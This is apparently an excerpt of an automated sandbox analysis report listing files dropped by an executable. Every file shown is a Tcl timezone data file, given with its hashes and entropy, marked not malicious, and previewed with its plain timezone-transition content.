SHA-256:	399F727CB39D90520AD6AE78A8963F918A490A813BC4FF2D94A37B0315F52D99
SHA-512:	79FDCFF5066636C3218751C8B2B658C6B7A6864264DCC28B47843EAEFDD5564AC5E4B7A66E3D1B0D25DB86D6C6ED55D1599F1FE2C169085A8769E037E0E954BE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Melbourne) {. {-9223372036854775808 34792 0 LMT}. {-2364111592 36000 0 AEST}. {-1672567140 39600 1 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {31500000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {89136000 39600 1 AEDT}. {100022400 36000 0 AEST}. {120585600 39600 1 AEDT}. {131472000 36000 0 AEST}. {152035200 39600 1 AEDT}. {162921600 36000 0 AEST}. {183484800 39600 1 AEDT}. {194976000 36000 0 AEST}. {215539200 39600 1 AEDT}. {226425600 36000 0 AEST}. {246988800 39600 1 AEDT}. {257875200 36000 0 AEST}. {278438400 39600 1 AEDT}. {289324800 36000 0 AEST}. {309888000 39600 1 AEDT}. {320774400 36000 0 AEST}. {341337600 39600 1 AEDT}. {352224000 36000 0 AEST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\NSW

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.8456659038249
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjLHVAIgoXjLSt2QWCCjREeQWCCjLu:SlSWB9IZaM3yI9HVAIgmo2DC5eDCyu
MD5:	AE3539C49047BE3F8ABAD1AC670975F1
SHA1:	62CD5C3DB618B9FE5630B197AB3A9729B565CA41
SHA-256:	938A557C069B8E0BE8F52D721119CBA9A694F62CF8A7A11D68FD230CC231E17C
SHA-512:	6F143B50C1EEC1D77F87DD5B0FFCF6625800E247400AA58361748BFEA0626E2CDA9C3FD2A4C269B3218D28FF1FB8533F4F6741F6B2C5E83F9C84A5882C86716B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Sydney)]} {. LoadTimeZoneFile Australia/Sydney.}.set TZData(:Australia/NSW) $TZData(:Australia/Sydney).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\North

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.780732237583773
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjboFVAIgoXjbhvN2QWCCjsrQWCCjb/:SlSWB9IZaM3yIiFVAIgg2DCZrDCy
MD5:	70EF2A87B4538500CFADB63B62DDCBC6
SHA1:	8D737E6E8D37323D3B41AD419F1CA9B5991E2E99
SHA-256:	59B67F2C7C62C5F9A93767898BA1B51315D2AC271075FAFC1A24313BB673FF27
SHA-512:	E148FC32894A7138D1547910CBD590891120CE5FB533D1348243539C35CE2994DC9F3E7B6A952BF871882C8D6ECA47E13E08AF59AB52A55F790508F2DB9B0EB6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Darwin)]} {. LoadTimeZoneFile Australia/Darwin.}.set TZData(:Australia/North) $TZData(:Australia/Darwin).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Perth

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	714
Entropy (8bit):	4.257489685002088
Encrypted:	false
SSDEEP:	12:MBp52wmdHCBdPmzKfkzm2z75izhNhaP0YqozBqmjj4zl5fV59Bhg8lfU:cQweCBpYd7IzrhaMYR8mP4znhf9U
MD5:	B354B9525896FDED8769CF5140E76FFF
SHA1:	8494E182E3803F2A6369261B4B4EAC184458ECC4
SHA-256:	C14CAAD41E99709ABF50BD7F5B1DAFE630CA494602166F527DBDA7C134017FB0
SHA-512:	717081F29FBACEE2722399DD627045B710C14CF6021E4F818B1768AF972061232412876872F113C468446D79A366D7FFD2E852563DC44A483761D78C7A16F74A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Perth) {. {-9223372036854775808 27804 0 LMT}. {-2337925404 28800 0 AWST}. {-1672559940 32400 1 AWDT}. {-1665385200 28800 0 AWST}. {-883634400 32400 1 AWDT}. {-876121200 28800 0 AWST}. {-860392800 32400 1 AWDT}. {-844671600 28800 0 AWST}. {-836470800 32400 0 AWST}. {152042400 32400 1 AWDT}. {162928800 28800 0 AWST}. {436298400 32400 1 AWDT}. {447184800 28800 0 AWST}. {690314400 32400 1 AWDT}. {699386400 28800 0 AWST}. {1165082400 32400 1 AWDT}. {1174759200 28800 0 AWST}. {1193508000 32400 1 AWDT}. {1206813600 28800 0 AWST}. {1224957600 32400 1 AWDT}. {1238263200 28800 0 AWST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Queensland

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	198
Entropy (8bit):	4.75392731256171
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3yIaWhvFVAIgPWzCxL2DCoRWJvFBx+DC7W6:MBaIMjoTL2rOvFey
MD5:	D12C6F15F8BFCA19FA402DAE16FC9529
SHA1:	0869E6D11681D74CC3301F4538D98A225BE7C2E1
SHA-256:	77EA0243A11D187C995CE8D83370C6682BC39D2C39809892A48251123FF19A1E
SHA-512:	A98D1AF1FC3E849CCF9E9CC090D3C65B7104C164762F88B6048EA2802F17D635C2E66BE2661338C1DD604B550A267678245DE867451A1412C4C06411A21BE3A9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Brisbane)]} {. LoadTimeZoneFile Australia/Brisbane.}.set TZData(:Australia/Queensland) $TZData(:Australia/Brisbane).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\South

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.701653352722385
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3yIDRpGvFVAIgSRFL2DCa7QDCuRpv:MBaIMjdp5YFL23QHpv
MD5:	23671880AC24D35F231E2FCECC1A5E3A
SHA1:	5EE2EFD5ADE268B5114EB02FDA77F4C5F507F3CB
SHA-256:	9823032FFEB0BFCE50B6261A848FE0C07267E0846E9F7487AE812CEECB286446
SHA-512:	E303C7DE927E7BAA10EE072D5308FEE6C4E9B2D69DDD8EF014ED60574E0855EE803FE19A7CB31587E62CAE894C087D47A91A130213A24FCCD152736D82F55AB1
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Adelaide)]} {. LoadTimeZoneFile Australia/Adelaide.}.set TZData(:Australia/South) $TZData(:Australia/Adelaide).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Sydney

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8066
Entropy (8bit):	3.763781985138297
Encrypted:	false
SSDEEP:	96:GZCiG+CiRyddsYtLhbVXd33cZF7bLaE9DTtM/m7eeYWlQOZIeVUF:GZCm2tLhbVXdnPQler
MD5:	B3498EEA194DDF38C732269A47050CAA
SHA1:	C32B703AA1FA34D890D151300A2B21E0FA8F55D3
SHA-256:	0EE9BE0F0D6EC0CE10DEA1BE7A9F494C74B747418E966B85EC1FFB15F6F22A4F
SHA-512:	A9419B797B1518AAEEE27A1796D0D024847F7A61D26238F1643EBD6131A6B36007FBABD9E766C3D4ED61B006FD31FC4555CB54B8681E7DBDEC26B38144D64BC9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Australia/Sydney) {. {-9223372036854775808 36292 0 LMT}. {-2364113092 36000 0 AEST}. {-1672567140 39600 1 AEDT}. {-1665392400 36000 0 AEST}. {-883641600 39600 1 AEDT}. {-876128400 36000 0 AEST}. {-860400000 39600 1 AEDT}. {-844678800 36000 0 AEST}. {-828345600 39600 1 AEDT}. {-813229200 36000 0 AEST}. {31500000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {89136000 39600 1 AEDT}. {100022400 36000 0 AEST}. {120585600 39600 1 AEDT}. {131472000 36000 0 AEST}. {152035200 39600 1 AEDT}. {162921600 36000 0 AEST}. {183484800 39600 1 AEDT}. {194976000 36000 0 AEST}. {215539200 39600 1 AEDT}. {226425600 36000 0 AEST}. {246988800 39600 1 AEDT}. {257875200 36000 0 AEST}. {278438400 39600 1 AEDT}. {289324800 36000 0 AEST}. {309888000 39600 1 AEDT}. {320774400 36000 0 AEST}. {341337600 39600 1 AEDT}. {352224000 36000 0 AEST}. {3

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Tasmania

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.7264864039237215
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjKD4YFedVAIgoXjKgVAt2QWCCjiiieQWCCjKDvn:SlSWB9IZaM3yI4DVyVAIgxkAt2DC3ne0
MD5:	C7C9CDC9EC855D2F0C23673FA0BAFFB6
SHA1:	4C79E1C17F418CEE4BE8F638F34201EE843D8E28
SHA-256:	014B3D71CE6BD77AD653047CF185EA03C870D78196A236693D7610FED7F30B6F
SHA-512:	79AE11CE076BFB87C0AAD35E9AF6E760FC592F1D086EB78E6DF88744F502ED4248853A0EAD72ADA8EA9583161925802EE5E46E3AA8CE8CF873852C26B4FDC05B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Hobart)]} {. LoadTimeZoneFile Australia/Hobart.}.set TZData(:Australia/Tasmania) $TZData(:Australia/Hobart).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Victoria

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.7697171393457936
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3yIvFfkvFVAIgoFFL2DCzyQDCMFB:MBaIMj9fHaFL2xQzB
MD5:	BD2EA272B8DF472E29B7DD0506287E92
SHA1:	55BF3A3B6398F9FF1DB3A46998A4EFF44F6F325C
SHA-256:	EE35DF8BBCD6A99A5550F67F265044529BD7AF6A83087DD73CA0BE1EE5C8BF51
SHA-512:	82B18D2C9BA7113C2714DC79A87101FFB0C36E5520D61ADEAB8A31AD219E51A6402A6C8A8FD7120A330FE8847FF8F083397A1BF5889B73484FBAA6F99497DE48
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Melbourne)]} {. LoadTimeZoneFile Australia/Melbourne.}.set TZData(:Australia/Victoria) $TZData(:Australia/Melbourne).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\West

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.781808870279912
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq/xJjXFedVAIgoXjbOAt2QWCCjH0QWCCj5:SlSWB9IZaM3yIYVAIg9At2DC00DCa
MD5:	9E0EF0058DDA86016547F2BFE421DE74
SHA1:	5DB6AEAC6B0A42FEAE28BB1A45679BC235F4E5BF
SHA-256:	FC952BE48F11362981CDC8859F9C634312E5805F2F1513159F25AEFCE664867C
SHA-512:	C60E5A63378F8424CE8D862A575DFE138646D5E88C6A34562A77BEC4B34EA3ED3085424E2130E610197164C7E88805DC6CDE46416EB45DC256F387F632F48CA7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Perth)]} {. LoadTimeZoneFile Australia/Perth.}.set TZData(:Australia/West) $TZData(:Australia/Perth).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Australia\Yancowinna

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	207
Entropy (8bit):	4.871861105493913
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3yIcKCFVAIgJKfF2DCkuM0DC9Kl:MBaIMjcKCQJKt2kVSKl
MD5:	5C3CED24741704A0A7019FA66AC0C0A1
SHA1:	88C7AF3B22ED01ED99784C3FAB4F5112AA4659F3
SHA-256:	71A56C71CC30A46950B1B4D4FBB12CB1CBAA24267F994A0F223AE879F1BB6EEC
SHA-512:	771A7AC5D03DD7099F565D6E926F7B97E8A7BA3795339D3FD78F7C465005B55388D8CC30A62978042C354254E1BA5467D0832C0D29497E33D6EF1DA217528806
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Australia/Broken_Hill)]} {. LoadTimeZoneFile Australia/Broken_Hill.}.set TZData(:Australia/Yancowinna) $TZData(:Australia/Broken_Hill).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Brazil\Acre

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.84045343046357
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0sMhS4edVAIg20sMhStQ1bNW1h4IAcGEsMhSA:SlSWB9IZaM3y7thtedVAIgpthKQxWh4y
MD5:	DF4D752BEEAF40F081C03B4572E9D858
SHA1:	A83B5E4C3A9EB0CF43263AFF65DB374353F65595
SHA-256:	1B1AD73D3FE403AA1F939F05F613F6A3F39A8BA49543992D836CD6ED14B92F2C
SHA-512:	1F96F1D8AACD6D37AC13295B345E761204DAE6AA1DF4894A11E00857CCB7247FA7BEBD22407EA5D13193E2945EB1F4210E32669069F157F1459B26643A67F445
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Rio_Branco)]} {. LoadTimeZoneFile America/Rio_Branco.}.set TZData(:Brazil/Acre) $TZData(:America/Rio_Branco).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Brazil\DeNoronha

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.826795532956443
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0wKy4oedVAIg20wK+F1bIAJl0IAcGEwKyvn:SlSWB9IZaM3y7/rDdVAIgp/mxIAE90/8
MD5:	86B9E49F604AD5DBC4EC6BA735A513C7
SHA1:	BE3AB32339DF9830D4F445CCF883D79DDBA8708E
SHA-256:	628A9AE97682B98145588E356948996EAE18528E34A1428A6B2765CCAA7A8A1F
SHA-512:	EE312624EC0193C599B2BDBFA57CC4EA7C68890955E0D888149172DF8F2095C553BFBB80BF76C1B8F3232F3A5863A519FF59976BBAEA622C64737890D159AA22
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Noronha)]} {. LoadTimeZoneFile America/Noronha.}.set TZData(:Brazil/DeNoronha) $TZData(:America/Noronha).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Brazil\East

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.9019570219911275
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0tQJXvedVAIg20tQJX1bJHIAcGEtQJXv:SlSWB9IZaM3y7tIGdVAIgptExR90tIv
MD5:	FBF6B9E8B9C93B1B9E484D88EF208F38
SHA1:	44004E19A485B70E003687CB1057B8A2421D1BF0
SHA-256:	C89E831C4A0525C3CEFF17072843386369096C08878A4412FB208EF5D3F156D8
SHA-512:	4E518FC4CED0C756FF45E0EDE72F6503C4B3AE72E785651DE261D3F261D43F914721EFCEAB272398BC145E41827F35D46DE4E022EAF413D95F64E8B3BD752002
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Sao_Paulo)]} {. LoadTimeZoneFile America/Sao_Paulo.}.set TZData(:Brazil/East) $TZData(:America/Sao_Paulo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Brazil\West

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.853909262702622
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0znQZFwFVAIg20znQoCxL1bbAWVIAcGEznQb:SlSWB9IZaM3y7zn+wFVAIgpznzCxLxnJ
MD5:	116F0F146B004D476B6B86EC0EE2D54D
SHA1:	1F39A84EF3DFF676A844174D9045BE388D3BA8C0
SHA-256:	F24B9ED1FAFA98CD7807FFFEF4BACA1BCE1655ABD70EB69D46478732FA0DA573
SHA-512:	23BD7EC1B5ADB465A204AAA35024EE917F8D6C3136C4EA973D8B18B586282C4806329CEBE0EDBF9E13D0032063C8082EC0D84A049F1217C856943A4DDC4900D0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Manaus)]} {. LoadTimeZoneFile America/Manaus.}.set TZData(:Brazil/West) $TZData(:America/Manaus).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\CET

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7471
Entropy (8bit):	3.710275786382764
Encrypted:	false
SSDEEP:	96:ht6CvDGwdSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQlth:PSTRNH4Mn82rlo6XIZ9ALeBO
MD5:	AE72690EF7063F0B9F640096204E2ECE
SHA1:	4F815B51DA9BCA97DFF71D191B74D0190890F946
SHA-256:	BB2C5E587EE9F9BF85C1D0B6F57197985663D4DFF0FED13233953C1807A1F11C
SHA-512:	F7F0911251BC7191754AF0BA2C455E825BF16EA9202A740DC1E07317B1D74CDAF680E161155CC1BD5E862DCEE2A58101F419D8B5E0E24C4BA7134999D9B55C48
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:CET) {. {-9223372036854775808 3600 0 CET}. {-1693706400 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-938905200 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-781052400 7200 1 CEST}. {-766623600 3600 0 CET}. {228877200 7200 1 CEST}. {243997200 3600 0 CET}. {260326800 7200 1 CEST}. {276051600 3600 0 CET}. {291776400 7200 1 CEST}. {307501200 3600 0 CET}. {323830800 7200 1 CEST}. {338950800 3600 0 CET}. {354675600 7200 1 CEST}. {370400400 3600 0 CET}. {386125200 7200 1 CEST}. {401850000 3600 0 CET}. {417574800 7200 1 CEST}. {433299600 3600 0 CET}. {449024400 7200 1 CEST}. {465354000 3600 0 CET}. {481078800 7200 1 CEST}. {496803600 3600 0 CET

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\CST6CDT

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8227
Entropy (8bit):	3.723597525146651
Encrypted:	false
SSDEEP:	192:KxrIOdXkqbfkeTzZSJw5/9/yuvQ+hcrD57X0N41+IestuNEbYkzbXwDTIRqfhXbo:KxrIOdXkqbfNTzZSJw5/9/yuvQ6crD5r
MD5:	B5AC3FA83585957217CA04384171F0FF
SHA1:	827FF1FBDADDDE3754453E680B4E719A50499AE6
SHA-256:	17CBE2F211973F827E0D5F9F2B4365951164BC06DA065F6F38F45CB064B29457
SHA-512:	A56485813C47758F988A250FFA97E2DBD7A69DDD16034E9EF2834AF895E8A374EEB4DA3F36E6AD80285AC10F84543ECF5840670805082E238F822F85D635651F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:CST6CDT) {. {-9223372036854775808 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-84384000 -18000 1 CDT}. {-68662800 -21600 0 CST}. {-52934400 -18000 1 CDT}. {-37213200 -21600 0 CST}. {-21484800 -18000 1 CDT}. {-5763600 -21600 0 CST}. {9964800 -18000 1 CDT}. {25686000 -21600 0 CST}. {41414400 -18000 1 CDT}. {57740400 -21600 0 CST}. {73468800 -18000 1 CDT}. {89190000 -21600 0 CST}. {104918400 -18000 1 CDT}. {120639600 -21600 0 CST}. {126691200 -18000 1 CDT}. {152089200 -21600 0 CST}. {162374400 -18000 1 CDT}. {183538800 -21600 0 CST}. {199267200 -18000 1 CDT}. {215593200 -21600 0 CST}. {230716800 -18000 1 CDT}. {247042800 -21600 0 CST}. {262771200 -18000 1 CDT}. {278492400 -216

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Atlantic

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.754307292225081
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx02NEO4FVAIg202NEtYF0nalGe2IAcGE2NEOv:SlSWB9IZaM3y7UEO4FVAIgpUEqF0af2b
MD5:	B0E220B9CD16038AAF3EA21D60064B62
SHA1:	333410CB7D4F96EF836CDC8097A1DCE34A2B961A
SHA-256:	6F71D7ED827C9EF6E758A44D2A998673E1225EB8005AD557A1713F5894833F92
SHA-512:	F879F60E36C739280E8FC255D2792BB24BCA90A265F8F90B5FB85630D5A58CE4FDBD24EA5594924375C3CD31DBC6D49C06CBFA43C52D0B9A1E9D799914A164F7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Halifax)]} {. LoadTimeZoneFile America/Halifax.}.set TZData(:Canada/Atlantic) $TZData(:America/Halifax).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Central

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.814426408072182
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0po4FVAIg20peRL0nPQox/h4IAcGEpov:SlSWB9IZaM3y7phFVAIgppOL0d490py
MD5:	8374E381BC8235B11B7C5CA215FA112C
SHA1:	181298556253D634B09D72BD925C4DBB92055A06
SHA-256:	1B87273B264A3243D2025B1CFC05B0797CBC4AA95D3319EEE2BEF8A09FDA8CAD
SHA-512:	12800E49B8094843F66454E270B4BE154B053E5FB453C83269AF7C27B965071C88B02AF7BB404E7F5A07277DB45E58D1C5240B377FC06172087BB29749C7543B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Winnipeg)]} {. LoadTimeZoneFile America/Winnipeg.}.set TZData(:Canada/Central) $TZData(:America/Winnipeg).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\East-Saskatchewan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.860347334610986
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0sAzE5YyVAIg20sAzEvYvW60nbP2/8S64IAcGEsAz1:SlSWB9IZaM3y7hzipVAIgphzGCW60L5X
MD5:	F5CB42BC029315088FAD03C9235FFB51
SHA1:	7773ECE0B85D66E4FA207A26EE4395F38BAC4068
SHA-256:	AF04A4558E31C9864B92FE3403011F7A2FBD837E1314A7BB5AF552D5AED06457
SHA-512:	0533B9D98834866FAA3C6E67A6F61A8A22C2BFDBA8C5336388C0894FBA550611C9112515F17E20E7B3508EC2318D58EA7CA814EC10C3451954C3CC169EDA0F8C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Regina)]} {. LoadTimeZoneFile America/Regina.}.set TZData(:Canada/East-Saskatchewan) $TZData(:America/Regina).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Eastern

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.7067203041014185
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0qMKLRXIVAIg20qMKLRI60nbHboxp4IAcGEqMKLRXv:SlSWB9IZaM3y7RQ+VAIgpRQ+60Dboxp2
MD5:	22453AC70F84F34868B442E0A7BDC20A
SHA1:	730049FF6953E186C197601B27AB850305961FD0
SHA-256:	545B992E943A32210F768CB86DEF3203BE956EE03A3B1BC0D55A5CD18A4F064D
SHA-512:	91FE33FAD3954019F632A771BCBD9FF3FDCCDA1F51DD25E0E5808A724F2D9B905E5E2DEE32D415BEA9A9ADB74186D83548584414BB130DF1A166D49373AC7BEF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Toronto)]} {. LoadTimeZoneFile America/Toronto.}.set TZData(:Canada/Eastern) $TZData(:America/Toronto).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Mountain

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.768148288986999
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx07nKL5zFVAIg207nKLKN0nNYLo/4IAcGE7nKLun:SlSWB9IZaM3y77GzFVAIgp7DN0W8/49s
MD5:	5E0D3D1A7E9F800210BB3E02DFF2ECD3
SHA1:	F2471795A9314A292DEAA3F3B94145D3DE5A2792
SHA-256:	A8B3A4D53AA1CC73312E80951A9E9CEA162F4F51DA29B897FEB58B2DF3431821
SHA-512:	F80C7CDFE20E5FAD9E4BA457446F067ACE0C3F4659761E3B4A2422D3456CDE92C20589954DE5E0DC64619E3B6AB3A55AE0E0E783F8EFB24D74A5F6DFBF5ABB16
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Edmonton)]} {. LoadTimeZoneFile America/Edmonton.}.set TZData(:Canada/Mountain) $TZData(:America/Edmonton).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Newfoundland

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.953647576523321
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0tVZMYFwFVAIg20tVZoYvxL0nJBJi6FBx/2IAcGEt3:SlSWB9IZaM3y7tgYmFVAIgptMqL0xdB7
MD5:	3A4E193C8624AE282739867B22B7270A
SHA1:	AC93EEDA7E8AB7E40834FFBA83BAE5D803CB7162
SHA-256:	70EF849809F72741FA4F37C04C102A8C6733639E905B4E7F554F1D94737BF26B
SHA-512:	BE2AACEE2A6F74520F4F1C0CCBBB750ED6C7375D4368023BAB419184F8F717D52981106C03F487B24A943907E60784136C0E5F8C1D5B3D1C67C20E23A4F412B3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/St_Johns)]} {. LoadTimeZoneFile America/St_Johns.}.set TZData(:Canada/Newfoundland) $TZData(:America/St_Johns).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Canada\Pacific

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.839589386398345
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0oELSTAWFwVAIg20oELSTAQO0L0nie2IAcGEoELSTH:SlSWB9IZaM3y7ZLgXwVAIgpZLgJJL0Nu
MD5:	6AA0FCE594E991D6772C04E137C7BE00
SHA1:	6C53EE6FEBEC2BD5271DD80D40146247E779CB7B
